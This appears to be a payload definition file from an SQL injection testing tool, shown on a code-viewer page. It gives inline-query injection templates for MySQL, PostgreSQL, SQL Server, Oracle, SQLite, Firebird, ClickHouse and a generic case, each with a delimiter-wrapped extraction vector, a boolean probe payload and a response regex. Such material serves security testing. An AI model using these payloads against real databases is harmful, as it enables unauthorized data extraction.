Path: blob/master/data/xml/payloads/inline_query.xml
2992 views
<?xml version="1.0" encoding="UTF-8"?>12<root>3<!-- Inline queries tests -->4<test>5<title>Generic inline queries</title>6<stype>3</stype>7<level>1</level>8<risk>1</risk>9<clause>1,2,3,8</clause>10<where>3</where>11<vector>(SELECT CONCAT(CONCAT('[DELIMITER_START]',([QUERY])),'[DELIMITER_STOP]'))</vector>12<request>13<payload>(SELECT CONCAT(CONCAT('[DELIMITER_START]',(CASE WHEN ([RANDNUM]=[RANDNUM]) THEN '1' ELSE '0' END)),'[DELIMITER_STOP]'))</payload>14</request>15<response>16<grep>[DELIMITER_START](?P<result>.*?)[DELIMITER_STOP]</grep>17</response>18</test>1920<test>21<title>MySQL inline queries</title>22<stype>3</stype>23<level>2</level>24<risk>1</risk>25<clause>1,2,3,8</clause>26<where>3</where>27<vector>(SELECT CONCAT('[DELIMITER_START]',([QUERY]),'[DELIMITER_STOP]'))</vector>28<request>29<payload>(SELECT CONCAT('[DELIMITER_START]',(ELT([RANDNUM]=[RANDNUM],1)),'[DELIMITER_STOP]'))</payload>30</request>31<response>32<grep>[DELIMITER_START](?P<result>.*?)[DELIMITER_STOP]</grep>33</response>34<details>35<dbms>MySQL</dbms>36</details>37</test>3839<test>40<title>PostgreSQL inline queries</title>41<stype>3</stype>42<level>2</level>43<risk>1</risk>44<clause>1,2,3,8</clause>45<where>3</where>46<vector>(SELECT '[DELIMITER_START]'||([QUERY])::text||'[DELIMITER_STOP]')</vector>47<request>48<payload>(SELECT '[DELIMITER_START]'||(SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN 1 ELSE 0 END))::text||'[DELIMITER_STOP]')</payload>49</request>50<response>51<grep>[DELIMITER_START](?P<result>.*?)[DELIMITER_STOP]</grep>52</response>53<details>54<dbms>PostgreSQL</dbms>55</details>56</test>5758<test>59<title>Microsoft SQL Server/Sybase inline queries</title>60<stype>3</stype>61<level>2</level>62<risk>1</risk>63<clause>1,2,3,8</clause>64<where>3</where>65<vector>(SELECT '[DELIMITER_START]'+([QUERY])+'[DELIMITER_STOP]')</vector>66<request>67<payload>(SELECT '[DELIMITER_START]'+(CASE WHEN ([RANDNUM]=[RANDNUM]) THEN '1' ELSE '0' END)+'[DELIMITER_STOP]')</payload>68</request>69<response>70<grep>[DELIMITER_START](?P<result>.*?)[DELIMITER_STOP]</grep>71</response>72<details>73<dbms>Microsoft SQL Server</dbms>74<dbms>Sybase</dbms>75</details>76</test>7778<test>79<title>Oracle inline queries</title>80<stype>3</stype>81<level>2</level>82<risk>1</risk>83<clause>1,2,3,8</clause>84<where>3</where>85<vector>(SELECT ('[DELIMITER_START]'||([QUERY])||'[DELIMITER_STOP]') FROM DUAL)</vector>86<request>87<!-- NOTE: Vertica works too without the TO_NUMBER() -->88<payload>(SELECT '[DELIMITER_START]'||(CASE WHEN ([RANDNUM]=[RANDNUM]) THEN TO_NUMBER(1) ELSE TO_NUMBER(0) END)||'[DELIMITER_STOP]' FROM DUAL)</payload>89</request>90<response>91<grep>[DELIMITER_START](?P<result>.*?)[DELIMITER_STOP]</grep>92</response>93<details>94<dbms>Oracle</dbms>95</details>96</test>9798<test>99<title>SQLite inline queries</title>100<stype>3</stype>101<level>3</level>102<risk>1</risk>103<clause>1,2,3,8</clause>104<where>3</where>105<vector>SELECT '[DELIMITER_START]'||([QUERY])||'[DELIMITER_STOP]'</vector>106<request>107<payload>SELECT '[DELIMITER_START]'||(CASE WHEN ([RANDNUM]=[RANDNUM]) THEN 1 ELSE 0 END)||'[DELIMITER_STOP]'</payload>108</request>109<response>110<grep>[DELIMITER_START](?P<result>.*?)[DELIMITER_STOP]</grep>111</response>112<details>113<dbms>SQLite</dbms>114</details>115</test>116117<test>118<title>Firebird inline queries</title>119<stype>3</stype>120<level>3</level>121<risk>1</risk>122<clause>1,2,3,8</clause>123<where>3</where>124<vector>SELECT '[DELIMITER_START]'||([QUERY])||'[DELIMITER_STOP]' FROM RDB$DATABASE</vector>125<request>126<payload>SELECT '[DELIMITER_START]'||(CASE [RANDNUM] WHEN [RANDNUM] THEN 1 ELSE 0 END)||'[DELIMITER_STOP]' FROM RDB$DATABASE</payload>127</request>128<response>129<grep>[DELIMITER_START](?P<result>.*?)[DELIMITER_STOP]</grep>130</response>131<details>132<dbms>Firebird</dbms>133</details>134</test>135136<test>137<title>ClickHouse inline queries</title>138<stype>3</stype>139<level>3</level>140<risk>1</risk>141<clause>1,2,3,8</clause>142<where>3</where>143<vector>('[DELIMITER_START]'||CAST(([QUERY]) AS String)||'[DELIMITER_STOP]')</vector>144<request>145<payload>('[DELIMITER_START]'||(CASE WHEN ([RANDNUM]=[RANDNUM]) THEN '1' ELSE '0' END)||'[DELIMITER_STOP]')</payload>146</request>147<response>148<grep>[DELIMITER_START](?P<result>.*?)[DELIMITER_STOP]</grep>149</response>150<details>151<dbms>ClickHouse</dbms>152</details>153</test>154155<!-- End of inline queries tests -->156</root>157158159